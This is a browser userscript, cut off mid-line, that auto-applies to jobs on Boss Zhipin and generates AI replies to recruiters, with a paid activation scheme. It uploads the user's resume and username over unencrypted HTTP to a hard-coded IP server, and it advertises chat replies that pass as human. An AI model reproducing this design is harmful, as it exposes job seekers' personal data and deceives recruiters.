// ==UserScript== // @name 【2026最新】Boss直聘自动投递脚本🔥🔥🔥 // @version 2.0.0 // @description 自动投递Boss直聘简历,结合自己的简历AI自动回复消息,采用最新的Deepseek对话模型对话流畅,感情真实,智能AI驱动的求职神器,让你的求职之旅更高效、更精准、更轻松 // @author 包包大人 // @match https://www.zhipin.com/* // @grant GM_xmlhttpRequest // @grant GM_setValue // @grant GM_getResourceText // @grant GM_getValue // @grant GM_addStyle // @grant GM_xmlhttpRequest // @connect localhost // @connect 119.45.5.172 // @resource bootstrap https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.min.css // @require https://cdn.staticfile.org/jquery/3.7.1/jquery.min.js // ==/UserScript== (() => { (function() { const baseUrl = "http://119.45.5.172:7023"; class MyTools { constructor() {} async delay(time) { return new Promise(resolve => setTimeout(resolve, time)); } getDomSync(selector, time = 10) { return new Promise(resolve => { let sec = time * 10; let timer = setInterval(() => { if (sec <= 0) { clearInterval(timer); return resolve(null); } if ($(selector).length) { clearInterval(timer); resolve($(selector)); } sec--; }, 100); }); } async fetch(url, options) { return new Promise((resolve, reject) => { GM_xmlhttpRequest({ url, ...options, responseType: "json", onload: xhr => { resolve(xhr.response); }, onerror: xhr => { reject(xhr); } }); }); } } const myTools = new MyTools; function bootstrap() { createPanel(); const css = GM_getResourceText("bootstrap"); GM_addStyle(css); addStyle(); addEventListener(); function createPanel() { let div = document.createElement("div"); div.id = "boss-container"; div.innerHTML = `\n
\n \n
\n
\n
\n \n \n \n \n
\n

BOSS\u76f4\u8058\u81ea\u52a8\u5316\u6295\u9012\u52a9\u624b

\n
\n \n \n \n \n \n
\n \n
\n
\n \n \n \n \n \u9996\u9875\n
\n
\n \n \n \n \u8bbe\u7f6e\n
\n
\u57fa\u7840\u7248
\n
\n \n
\n \n
\n \n
\n \n \n \n \u8fd0\u884c\u72b6\u6001\n
\n
\n
\n \u5f53\u524d\u72b6\u6001\n \u672a\u8fd0\u884c\n
\n
\n \u5b8c\u6210\u8fdb\u5ea6\n 0%\n
\n
\n \u5df2\u6295\u9012\u6570\u91cf\n 0\n
\n
\n \u6295\u9012\u76ee\u6807\u6570\u91cf\n 50\n
\n
\n
\n\n \n
\n
\n
\n\n \n
\n \n
\n\n \n \n
\n \n
\n
\n
\n \n \n
\n\n
\n \n \n
\n\n \n
\n \n
\n
\n
\n \u8bf7\u9009\u62e9\u6d3b\u8dc3\u5ea6\n
\n \n
\n
\n
\n \n \n \n \u6b63\u5728\u7ebf\u4e0a\n
\n
\n \n \n \n \u4eca\u65e5\u6d3b\u8dc3\n
\n
\n \n \n \n \u672c\u5468\u6d3b\u8dc3\n
\n
\n \n \n \n \u5168\u90e8\u6295\u9012\n
\n
\n
\n
\n\n
\n \n
\n
\n \n \n \n \u70b9\u51fb\u9009\u62e9\u7b80\u5386\u6587\u4ef6\n
\n \n
\n
\n \u5f53\u524d\u5df2\u4e0a\u4f20\uff1a\u65e0\n
\n
\n\n \n
\n \n
\n \n \n \n \n \n \n \n \n
\n\n \n\n
\n \n
\n
\n\n
\n \n \n
\n
\u6e05\u9664\u6240\u6709\u8bbe\u7f6e
\n
\n \n
\n
\n \n \n `; document.body.appendChild(div); } function addStyle() { GM_addStyle(`\n #boss-auto-panel {\n width: 340px;\n background: #ffffff;\n border-radius: 16px;\n box-shadow: 0 8px 24px rgba(149, 157, 165, 0.1);\n overflow: hidden;\n border: 1px solid #f0f2f5;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translate(-50%, -50%);\n z-index: 9999;\n /* \u786e\u4fdd\u9762\u677f\u5728\u6700\u4e0a\u5c42 */\n cursor: default;\n box-sizing: border-box;\n font-family: 'Inter', system-ui, -apple-system, sans-serif;\n }\n\n /* \u62d6\u62fd\u533a\u57df\u6837\u5f0f */\n .panel-header {\n background: linear-gradient(135deg, #165DFF 0%, #0F48D1 100%);\n color: white;\n padding: 16px 20px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n display: flex;\n justify-content: space-between;\n align-items: center;\n cursor: move;\n /* \u9f20\u6807\u6837\u5f0f\u53d8\u4e3a\u53ef\u62d6\u62fd */\n user-select: none;\n /* \u7981\u6b62\u9009\u4e2d\u6587\u5b57 */\n -webkit-user-select: none;\n }\n\n .panel-header .title-wrapper {\n display: flex;\n align-items: center;\n gap: 10px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n #boss-auto-panel .panel-header .app-icon {\n /* \u7f29\u5c0f\u56fe\u6807 */\n background: rgba(255, 255, 255, 0.2);\n width: 36px;\n height: 36px;\n border-radius: 8px;\n display: flex;\n align-items: center;\n justify-content: center;\n }\n\n .panel-header h3 {\n font-size: 16px;\n /* \u7f29\u5c0f\u6807\u9898\u5b57\u4f53 */\n font-weight: 600;\n margin: 0;\n }\n\n .panel-header .version-tag {\n height: 20px;\n font-size: 11px;\n background: rgba(255, 255, 255, 0.2);\n padding: 2px 6px;\n border-radius: 100px;\n font-weight: 400;\n cursor: pointer;\n }\n\n .panel-header .version-tag svg {\n position: relative;\n top: 1px;\n }\n\n .tab-nav {\n display: flex;\n padding: 0 20px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n border-bottom: 1px solid #f0f2f5;\n }\n\n .tab-nav-item {\n padding: 14px 16px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n cursor: pointer;\n font-size: 14px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 500;\n color: #666;\n position: relative;\n display: flex;\n align-items: center;\n gap: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n transition: color 0.2s;\n }\n\n .tab-nav-item:hover {\n color: #165DFF;\n }\n\n .tab-nav-item.active {\n color: #165DFF;\n }\n\n .tab-nav-item.active::after {\n content: '';\n position: absolute;\n bottom: -1px;\n left: 0;\n width: 100%;\n height: 3px;\n background-color: #165DFF;\n border-radius: 3px 3px 0 0;\n }\n\n /* \u6807\u7b7e\u5185\u5bb9\u533a */\n .tab-content {\n padding: 20px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n display: none;\n }\n\n .tab-content.active {\n display: block;\n animation: fadeIn 0.3s ease;\n }\n\n @keyframes fadeIn {\n from {\n opacity: 0;\n transform: translateY(5px);\n }\n\n to {\n opacity: 1;\n transform: translateY(0);\n }\n }\n\n /* \u9996\u9875\u6837\u5f0f */\n .status-card {\n background: linear-gradient(135deg, #f8f9ff 0%, #f0f5ff 100%);\n border-radius: 10px;\n /* \u7f29\u5c0f\u5706\u89d2 */\n padding: 16px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n margin-bottom: 20px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n border: 1px solid #e8f0ff;\n position: relative;\n }\n\n .status-card .card-title {\n font-size: 15px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 600;\n color: #333;\n margin-bottom: 14px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n display: flex;\n align-items: center;\n gap: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .status-grid {\n display: grid;\n grid-template-columns: repeat(2, 1fr);\n gap: 14px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .status-item {\n display: flex;\n flex-direction: column;\n gap: 3px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .status-item-label {\n font-size: 13px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n color: #666;\n }\n\n .status-item-value {\n font-size: 18px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 600;\n color: #333;\n }\n\n .status-item-value.running {\n color: #165DFF;\n }\n\n .status-item-value.completed {\n color: #00b42a;\n }\n\n .status-item-value.stopped {\n color: #ff4d4f;\n }\n\n /* \u52a8\u753b\u533a\u57df */\n .animation-wrapper {\n display: flex;\n justify-content: center;\n margin: 16px 0;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n /* \u5207\u6362\u6309\u94ae\u6837\u5f0f\uff08\u5408\u5e76\u542f\u52a8/\u505c\u6b62\uff09 */\n .toggle-btn-wrapper {\n margin-bottom: 20px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .toggle-btn {\n width: 100%;\n padding: 12px 0;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n border-radius: 8px;\n /* \u7f29\u5c0f\u5706\u89d2 */\n border: none;\n font-size: 14px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 500;\n cursor: pointer;\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n transition: all 0.2s;\n }\n\n .toggle-btn.start {\n background: #165DFF;\n color: white;\n }\n\n .toggle-btn.start:hover {\n background: #0F48D1;\n box-shadow: 0 4px 12px rgba(22, 93, 255, 0.3);\n }\n\n .toggle-btn.stop {\n background: #ff4d4f;\n color: white;\n }\n\n .toggle-btn.stop:hover {\n background: #f5222d;\n box-shadow: 0 4px 12px rgba(255, 77, 79, 0.3);\n }\n\n /* \u73b0\u4ee3\u5f00\u5173\u6309\u94ae\u6837\u5f0f\uff08\u66ff\u6362\u590d\u9009\u6846\uff09 */\n .switch-wrapper {\n display: flex;\n align-items: center;\n gap: 8px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n cursor: pointer;\n margin-bottom: 18px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .switch {\n position: relative;\n width: 46px;\n /* \u7f29\u5c0f\u5f00\u5173\u5c3a\u5bf8 */\n height: 24px;\n background-color: #e5e7eb;\n border-radius: 12px;\n transition: background-color 0.2s;\n }\n\n .switch::after {\n content: '';\n position: absolute;\n top: 2px;\n left: 2px;\n width: 20px;\n /* \u7f29\u5c0f\u6ed1\u5757\u5c3a\u5bf8 */\n height: 20px;\n border-radius: 50%;\n background-color: white;\n box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);\n transition: left 0.2s;\n }\n\n .switch.checked {\n background-color: #165DFF;\n }\n\n .switch.checked::after {\n left: 24px;\n }\n\n .switch-label {\n font-size: 13px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 500;\n color: #333;\n display: flex;\n align-items: center;\n gap: 5px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n /* \u8bbe\u7f6e\u9875\u6837\u5f0f */\n .form-item {\n margin-bottom: 18px;\n text-align: left;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .form-label {\n display: block;\n font-size: 13px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 500;\n color: #333;\n margin-bottom: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n display: flex;\n align-items: center;\n gap: 5px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .form-input,\n .form-select,\n .form-textarea,\n .multi-select-dropdown {\n width: 100%;\n padding: 10px 14px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n border: 1px solid #d0d5dd;\n border-radius: 8px;\n /* \u7f29\u5c0f\u5706\u89d2 */\n font-size: 14px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n color: #333;\n background: #fafafa;\n transition: border-color 0.2s, box-shadow 0.2s;\n box-sizing: border-box;\n }\n\n .form-input:focus,\n .form-select:focus,\n .form-textarea:focus,\n .multi-select-dropdown:focus {\n outline: none;\n border-color: #165DFF;\n box-shadow: 0 0 0 4px rgba(22, 93, 255, 0.1);\n background: white;\n }\n\n .form-input[type='number'] {\n width: 60%;\n }\n\n .form-textarea {\n min-height: 80px;\n /* \u7f29\u5c0f\u6587\u672c\u6846\u9ad8\u5ea6 */\n resize: vertical;\n line-height: 1.5;\n }\n\n /* \u591a\u9009\u4e0b\u62c9\u6846\u6837\u5f0f */\n .multi-select-wrapper {\n position: relative;\n }\n\n .multi-select-dropdown {\n cursor: pointer;\n display: flex;\n justify-content: space-between;\n align-items: center;\n }\n\n .multi-select-dropdown .selected-tags {\n display: flex;\n flex-wrap: wrap;\n gap: 4px;\n max-width: 85%;\n }\n\n .multi-select-dropdown .tag {\n background: #e8f0ff;\n color: #165DFF;\n padding: 2px 6px;\n border-radius: 4px;\n font-size: 12px;\n }\n\n .multi-select-dropdown .placeholder {\n color: #999;\n }\n\n .multi-select-dropdown .dropdown-icon {\n font-size: 12px;\n color: #666;\n transition: transform 0.2s;\n }\n\n .multi-select-dropdown.open .dropdown-icon {\n transform: rotate(180deg);\n }\n\n .multi-select-options {\n position: absolute;\n top: 100%;\n left: 0;\n right: 0;\n background: white;\n border: 1px solid #d0d5dd;\n border-radius: 8px;\n margin-top: 4px;\n max-height: 180px;\n overflow-y: auto;\n box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);\n z-index: 100;\n display: none;\n }\n\n .multi-select-options.open {\n display: block;\n }\n\n .multi-select-option {\n padding: 8px 14px;\n font-size: 13px;\n cursor: pointer;\n transition: background-color 0.2s;\n display: flex;\n align-items: center;\n gap: 8px;\n }\n\n .multi-select-option:hover {\n background-color: #f8f9ff;\n }\n\n .multi-select-option.selected {\n background-color: #e8f0ff;\n color: #165DFF;\n }\n\n .multi-select-option .check-icon {\n color: #165DFF;\n display: none;\n }\n\n .multi-select-option.selected .check-icon {\n display: inline-block;\n }\n\n .file-upload-wrapper {\n position: relative;\n display: inline-block;\n width: 100%;\n }\n\n .file-upload-btn {\n display: block;\n padding: 10px 14px;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n border: 1px dashed #d0d5dd;\n border-radius: 8px;\n /* \u7f29\u5c0f\u5706\u89d2 */\n text-align: center;\n cursor: pointer;\n color: #666;\n transition: all 0.2s;\n font-size: 14px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n }\n\n .file-upload-btn:hover {\n border-color: #165DFF;\n color: #165DFF;\n background: #f8f9ff;\n }\n\n .file-upload-input {\n position: absolute;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n opacity: 0;\n cursor: pointer;\n }\n\n .file-info {\n font-size: 12px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n color: #999;\n margin-top: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n }\n\n .save-btn {\n width: 100%;\n padding: 12px 0;\n /* \u7f29\u5c0f\u5185\u8fb9\u8ddd */\n background: linear-gradient(135deg, #165DFF 0%, #0F48D1 100%);\n color: white;\n border: none;\n border-radius: 8px;\n /* \u7f29\u5c0f\u5706\u89d2 */\n font-size: 14px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n font-weight: 500;\n cursor: pointer;\n display: flex;\n align-items: center;\n justify-content: center;\n gap: 6px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n transition: box-shadow 0.2s;\n }\n\n .save-btn:hover {\n box-shadow: 0 6px 16px rgba(22, 93, 255, 0.3);\n }\n\n /* \u5e95\u90e8\u7248\u6743\u4fe1\u606f */\n .footer-info {\n text-align: center;\n font-size: 11px;\n /* \u7f29\u5c0f\u5b57\u4f53 */\n color: #999;\n margin-top: 16px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n padding-top: 16px;\n /* \u7f29\u5c0f\u95f4\u8ddd */\n border-top: 1px solid #f0f2f5;\n }\n\n #boss-container .mini-panel {\n left: 999999;\n top: 999999;\n width: 0;\n height: 0;\n overflow: hidden;\n transition: all 0.3s ease;\n }\n\n #boss-container .mini-btn {\n display: flex;\n justify-content: center;\n align-items: center;\n border-radius: 50%;\n position: fixed;\n bottom: 100px;\n right: 100px;\n padding: 10px;\n background: linear-gradient(135deg, #165DFF 0%, #0F48D1 100%);\n color: #fff;\n cursor: pointer;\n }\n\n .vip-status {\n font-size: 12px;\n color: #999;\n background: #f8f9ff;\n padding: 0px 8px;\n border-radius: 14px;\n height: 9px;\n position: relative;\n top: 16px;\n line-height: 20px;\n cursor: pointer;\n }\n\n .vip-status.active {\n height: 20px;\n background: #ffbe02f2;\n color: #fff;\n }\n #boss-container .form-wrap{\n height: 325px;\n overflow-y: auto;\n scrollbar-width: none;\n }\n #boss-container .loading-wrap{\n width: 100%;\n height: 100vh;\n background: rgba(0, 0, 0, 0.3);\n display: flex;\n justify-content: center;\n align-items: center;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 99999;\n }\n #boss-container .loader {\n width: 100px;\n height: 100px;\n --color-one: #ffbf48;\n --color-two: #be4a1d;\n --color-three: #ffbf4780;\n --color-four: #bf4a1d80;\n --color-five: #ffbf4740;\n --time-animation: 2s;\n --size: 1;\n /* You can change the size */\n position: relative;\n border-radius: 50%;\n transform: scale(var(--size));\n box-shadow:\n 0 0 25px 0 var(--color-three),\n 0 20px 50px 0 var(--color-four);\n animation: colorize calc(var(--time-animation) * 3) ease-in-out infinite;\n }\n #boss-container .loader::before {\n content: "";\n position: absolute;\n top: 0;\n left: 0;\n width: 100px;\n height: 100px;\n border-radius: 50%;\n border-top: solid 1px var(--color-one);\n border-bottom: solid 1px var(--color-two);\n background: linear-gradient(180deg, var(--color-five), var(--color-four));\n box-shadow:\n inset 0 10px 10px 0 var(--color-three),\n inset 0 -10px 10px 0 var(--color-four);\n }\n #boss-container .loader .box {\n width: 100px;\n height: 100px;\n background: linear-gradient(180deg,\n var(--color-one) 30%,\n var(--color-two) 70%);\n mask: url(#clipping);\n -webkit-mask: url(#clipping);\n }\n\n #boss-container .loader svg {\n position: absolute;\n }\n\n #boss-container .loader svg #clipping {\n filter: contrast(15);\n animation: roundness calc(var(--time-animation) / 2) linear infinite;\n }\n\n #boss-container .loader svg #clipping polygon {\n filter: blur(7px);\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(1) {\n transform-origin: 75% 25%;\n transform: rotate(90deg);\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(2) {\n transform-origin: 50% 50%;\n animation: rotation var(--time-animation) linear infinite reverse;\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(3) {\n transform-origin: 50% 60%;\n animation: rotation var(--time-animation) linear infinite;\n animation-delay: calc(var(--time-animation) / -3);\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(4) {\n transform-origin: 40% 40%;\n animation: rotation var(--time-animation) linear infinite reverse;\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(5) {\n transform-origin: 40% 40%;\n animation: rotation var(--time-animation) linear infinite reverse;\n animation-delay: calc(var(--time-animation) / -2);\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(6) {\n transform-origin: 60% 40%;\n animation: rotation var(--time-animation) linear infinite;\n }\n\n #boss-container .loader svg #clipping polygon:nth-child(7) {\n transform-origin: 60% 40%;\n animation: rotation var(--time-animation) linear infinite;\n animation-delay: calc(var(--time-animation) / -1.5);\n }\n\n @keyframes rotation {\n 0% {\n transform: rotate(0deg);\n }\n\n 100% {\n transform: rotate(360deg);\n }\n }\n\n @keyframes roundness {\n 0% {\n filter: contrast(15);\n }\n\n 20% {\n filter: contrast(3);\n }\n\n 40% {\n filter: contrast(3);\n }\n\n 60% {\n filter: contrast(15);\n }\n\n 100% {\n filter: contrast(15);\n }\n }\n\n @keyframes colorize {\n 0% {\n filter: hue-rotate(0deg);\n }\n\n 20% {\n filter: hue-rotate(-30deg);\n }\n\n 40% {\n filter: hue-rotate(-60deg);\n }\n\n 60% {\n filter: hue-rotate(-90deg);\n }\n\n 80% {\n filter: hue-rotate(-45deg);\n }\n\n 100% {\n filter: hue-rotate(0deg);\n }\n }\n #boss-container .tip{\n text-align: center;\n margin-top: 16px;\n color: #fff;\n }\n #boss-container .leida {\n position: absolute;\n top: 69px;\n left: 75px;\n width: 28px;\n height: 28px;\n background: transparent;\n border-radius: 100%;\n border: 1px solid #dbdfe3;\n display: flex;\n align-items: center;\n justify-content: center;\n overflow: hidden;\n }\n\n #boss-container .leida::before {\n content: "";\n position: absolute;\n inset: 12px;\n background: transparent;\n border: 0.5px dashed #d7dce2;\n border-radius: 100%;\n box-shadow: inset -2px -2px 12px #e1e3eb, inset 2px 2px 12px #e1e3eb;\n }\n\n #boss-container .leida::after {\n content: "";\n position: absolute;\n width: 32px;\n height: 32px;\n border-radius: 100%;\n border: 0.5px dashed #d7dce2;\n box-shadow: inset -2px -2px 12px #e1e3eb, inset 2px 2px 12px #e1e3eb;\n }\n\n #boss-container .leida span {\n position: absolute;\n top: 50%;\n left: 50%;\n width: 50%;\n height: 100%;\n background: transparent;\n transform-origin: top left;\n animation: radar81 2s linear infinite;\n border-top: 1px dashed #6e8298;\n }\n\n #boss-container .leida span::before {\n content: "";\n position: absolute;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n background: #0054ff;\n transform-origin: top left;\n transform: rotate(-55deg);\n filter: blur(7px);\n }\n\n @keyframes radar81 {\n 0% {\n transform: rotate(0deg);\n }\n\n 100% {\n transform: rotate(360deg);\n }\n }\n\n #boss-container .clearBtn{\n margin-bottom: 18px;\n width: 104px;\n background: red;\n color: #fff;\n padding: 5px 0;\n border-radius: 16px;\n cursor: pointer;\n text-align: center;\n }\n `); } function addEventListener() { let APP_CONFIG = { isRunning: false, completedCount: 0, settings: { jobPreference: null, workLocation: null, activityLevels: [], autoReply: true, replyContent: null, deliverCount: 50, jianli: null, jianliName: null, autoSendWX: true }, activate: null, selectedActivityLevels: [], isDragging: false, dragOffsetX: 0, dragOffsetY: 0, panelPosition: { left: null, top: null } }; $(document).ready(function() { initDragFunction(); $("#mini-pannel").click(togglePanel); $("#mini-btn").click(togglePanel); $(".tab-nav-item").click(function() { const tabName = $(this).data("tab"); $(".tab-nav-item").removeClass("active"); $(this).addClass("active"); $(".tab-content").removeClass("active"); $(`#tab-${tabName}`).addClass("active"); }); $("#auto-reply-toggle").click(function() { if (!APP_CONFIG.activate) { promptcode(); return; } APP_CONFIG.settings.autoReply = !APP_CONFIG.settings.autoReply; $(this).toggleClass("checked"); }); $("#auto-open-wx").click(function() { APP_CONFIG.settings.autoSendWX = !APP_CONFIG.settings.autoSendWX; $(this).toggleClass("checked"); }); $(".clearBtn").click(function() { localStorage.removeItem("bossAutoSettings"); alert("\u5df2\u6e05\u9664\u6240\u6709\u8bbe\u7f6e"); location.reload(); }); initActivityLevelSelector(); function toggle_pannel() { $(".tab-nav-item").removeClass("active"); $(".tab-nav-item:nth-child(2)").addClass("active"); $(".tab-content").removeClass("active"); $("#tab-settings").addClass("active"); } $("#toggle-btn").click(async function() { if (!APP_CONFIG.isRunning) { if (location.pathname === "/web/geek/chat") { if (!APP_CONFIG.settings.autoReply) { toggle_pannel(); return alert("\u60a8\u8fd8\u672a\u5f00\u542fAi\u81ea\u52a8\u56de\u590d"); } if (!APP_CONFIG.settings.jianli) return alert("\u8bf7\u5148\u4e0a\u4f20\u7b80\u5386"); APP_CONFIG.isRunning = true; $("#run-status").text("\u8fd0\u884c\u4e2d").removeClass("stopped completed").addClass("running"); $(".leida").show(); $(this).removeClass("start").addClass("stop"); $(this).html('\u505c\u6b62\u81ea\u52a8\u6295\u9012'); handleMsg(); } else { if (!APP_CONFIG.settings.jobPreference || !APP_CONFIG.settings.workLocation) { alert("\u8bf7\u5148\u8bbe\u7f6e\u6c42\u5c97\u4f4d\u504f\u597d\uff0c\u5de5\u4f5c\u5730\u70b9"); toggle_pannel(); return; } APP_CONFIG.isRunning = true; $("#run-status").text("\u8fd0\u884c\u4e2d").removeClass("stopped completed").addClass("running"); $(".leida").show(); $(this).removeClass("start").addClass("stop"); $(this).html('\u505c\u6b62\u81ea\u52a8\u6295\u9012'); $("#target-count").text(APP_CONFIG.settings.deliverCount); if (!APP_CONFIG.isRunning) return; await findNextJob(); } } else { APP_CONFIG.isRunning = false; $("#run-status").text("\u5df2\u505c\u6b62").removeClass("running completed").addClass("stopped"); $(this).removeClass("stop").addClass("start"); $(this).html('\u542f\u52a8\u811a\u672c\u7a0b\u5e8f'); $(".leida").hide(); } }); $("#resume-upload").change(function(e) { if (!APP_CONFIG.activate) { promptcode(); return; } const file = e.target.files[0]; if (file) { $("#resume-name").text(file.name); console.log("\u9009\u4e2d\u7b80\u5386\u6587\u4ef6:", file); uploadResume(file); } }); function uploadResume(file) { $("#boss-container .loading-wrap").show(); const activate = APP_CONFIG.activate || ""; const url = `${baseUrl}/open/basic_ai/info/readJianLi?activate=${activate}`; const reader = new FileReader; reader.onload = function() { const dataUrl = reader.result; const base64Data = dataUrl.split(",")[1]; const boundary = "----WebKitFormBoundary" + Math.random().toString(36).substring(2); const fileName = file.name; const mimeType = file.type || "application/pdf"; let formData = ""; formData += `--${boundary}\r\n`; formData += `Content-Disposition: form-data; name="file"; filename="${fileName}"\r\n`; formData += `Content-Type: ${mimeType}\r\n\r\n`; const binaryString = atob(base64Data); const bytes = new Uint8Array(binaryString.length); for (let i = 0; i < binaryString.length; i++) { bytes[i] = binaryString.charCodeAt(i); } const header = (new TextEncoder).encode(formData); const footer = (new TextEncoder).encode(`\r\n--${boundary}--\r\n`); const body = new Uint8Array(header.length + bytes.length + footer.length); body.set(header, 0); body.set(bytes, header.length); body.set(footer, header.length + bytes.length); GM_xmlhttpRequest({ method: "POST", url, headers: { "Content-Type": `multipart/form-data; boundary=${boundary}` }, data: body.buffer, responseType: "json", onload: function(response) { console.log("\u7b80\u5386\u4e0a\u4f20\u6210\u529f:", response.response); if (response.response.data === -1) { return alert("\u6fc0\u6d3b\u7801\u4e0d\u6b63\u786e\u6216\u8bf7\u5148\u7ed1\u5b9a\u6fc0\u6d3b\u7801"); } if (response.response.data && response.response.data.text) { APP_CONFIG.settings.jianli = response.response.data.text; APP_CONFIG.settings.jianliName = response.response.data.fileName; localStorage.setItem("bossAutoSettings", JSON.stringify(APP_CONFIG)); $("#boss-container .loading-wrap").hide(); alert("\u7b80\u5386\u4e0a\u4f20\u6210\u529f\uff01"); } }, onerror: function(error) { console.error("\u7b80\u5386\u4e0a\u4f20\u5931\u8d25:", error); alert("\u7b80\u5386\u4e0a\u4f20\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u7edc\u8fde\u63a5"); }, ontimeout: function() { console.error("\u7b80\u5386\u4e0a\u4f20\u8d85\u65f6"); alert("\u7b80\u5386\u4e0a\u4f20\u8d85\u65f6\uff0c\u8bf7\u91cd\u8bd5"); } }); }; reader.onerror = function() { console.error("\u6587\u4ef6\u8bfb\u53d6\u5931\u8d25"); alert("\u6587\u4ef6\u8bfb\u53d6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5"); }; reader.readAsDataURL(file); } $("#save-settings").click(function() { APP_CONFIG.settings = Object.assign(APP_CONFIG.settings, { jobPreference: $("#job-preference").val().trim(), workLocation: $("#work-location").val().trim(), activityLevels: APP_CONFIG.selectedActivityLevels, autoReply: APP_CONFIG.settings.autoReply, replyContent: $("#reply-content").val().trim(), deliverCount: parseInt($("#deliver-count").val()) || 50, jianli: APP_CONFIG.settings.jianli, autoSendWX: APP_CONFIG.settings.autoSendWX }); console.log("\u4fdd\u5b58\u7684\u8bbe\u7f6e:", APP_CONFIG); localStorage.setItem("bossAutoSettings", JSON.stringify(APP_CONFIG)); alert("\u8bbe\u7f6e\u4fdd\u5b58\u6210\u529f\uff01"); location.reload(); }); $("#vip-status").click(promptcode); function promptcode() { let code = prompt("\u8bf7\u8f93\u5165\u60a8\u7684\u6fc0\u6d3b\u7801"); if (code && code.trim()) { let userName = $(".nav-figure span.label-text").text(); if (!userName.trim()) { return alert("\u8bf7\u5148\u767b\u9646boss\u76f4\u8058\u7f51\u7ad9"); } myTools.fetch(baseUrl + "/open/basic_order/info/bindCode", { method: "POST", headers: { "Content-Type": "application/json" }, data: JSON.stringify({ code: code.trim(), userName }) }).then(res => { if (res.data === -1 || res.data === false) { return alert("\u6fc0\u6d3b\u7801\u4e0d\u5b58\u5728\u6216\u5df2\u8fc7\u671f"); } if (res.data === -2) { return alert("\u6fc0\u6d3b\u7801\u5df2\u7ed1\u5b9a\u4e86\u5176\u4ed6\u8d26\u53f7"); } if (res.data === true) { APP_CONFIG.activate = code; $("#vip-status").text("\u5df2\u6fc0\u6d3b").toggleClass("active", true); localStorage.setItem("bossAutoSettings", JSON.stringify(APP_CONFIG)); alert("\u6fc0\u6d3b\u6210\u529f"); } }); } else { alert("\u8f93\u5165\u7684\u6fc0\u6d3b\u7801\u4e0d\u6b63\u786e"); } myTools.fetch(baseUrl + "/open/basic_app/info/getBuyUrl", { method: "POST" }).then(res => { window.open(res.data); }); } function togglePanel() { $("#boss-auto-panel").toggle(400); $("#mini-btn").toggle(400); } function changeStatus() { APP_CONFIG.isRunning = false; $("#run-status").text("\u5df2\u5b8c\u6210").removeClass("running stopped").addClass("completed"); $("#toggle-btn").removeClass("stop").addClass("start"); $("#toggle-btn").html('\u542f\u52a8\u81ea\u52a8\u6295\u9012'); } const map = [ "\u5728\u7ebf", "\u521a\u521a\u6d3b\u8dc3", "\u4eca\u65e5\u6d3b\u8dc3", "3\u65e5\u5185\u6d3b\u8dc3", "\u672c\u5468\u6d3b\u8dc3" ]; function isTrueJob(job, hr_max_value) { let job_localtion = job.querySelector(".company-location").innerText.trim(); if (job_localtion.indexOf(APP_CONFIG.settings.workLocation) === -1) { return false; } let job_name = job.querySelector(".job-name").innerText.trim(); if (job_name.indexOf(APP_CONFIG.settings.jobPreference) === -1) { return false; } if (APP_CONFIG.settings.activityLevels.length && hr_max_value != 999) { let hr_status = $("h2.name span").text().trim(); let hr_status_index = map.indexOf(hr_status) === -1 ? 999 : map.indexOf(hr_status); if (hr_max_value < hr_status_index) { return false; } } return true; } async function findNextJob() { let scroll_top = 0; let job_items = Array.from(document.querySelectorAll(".job-list-container .job-card-box")); let job; let step = $(".job-list-container .job-card-box").outerHeight() + 16; const hr_max_value = APP_CONFIG.settings.activityLevels.length 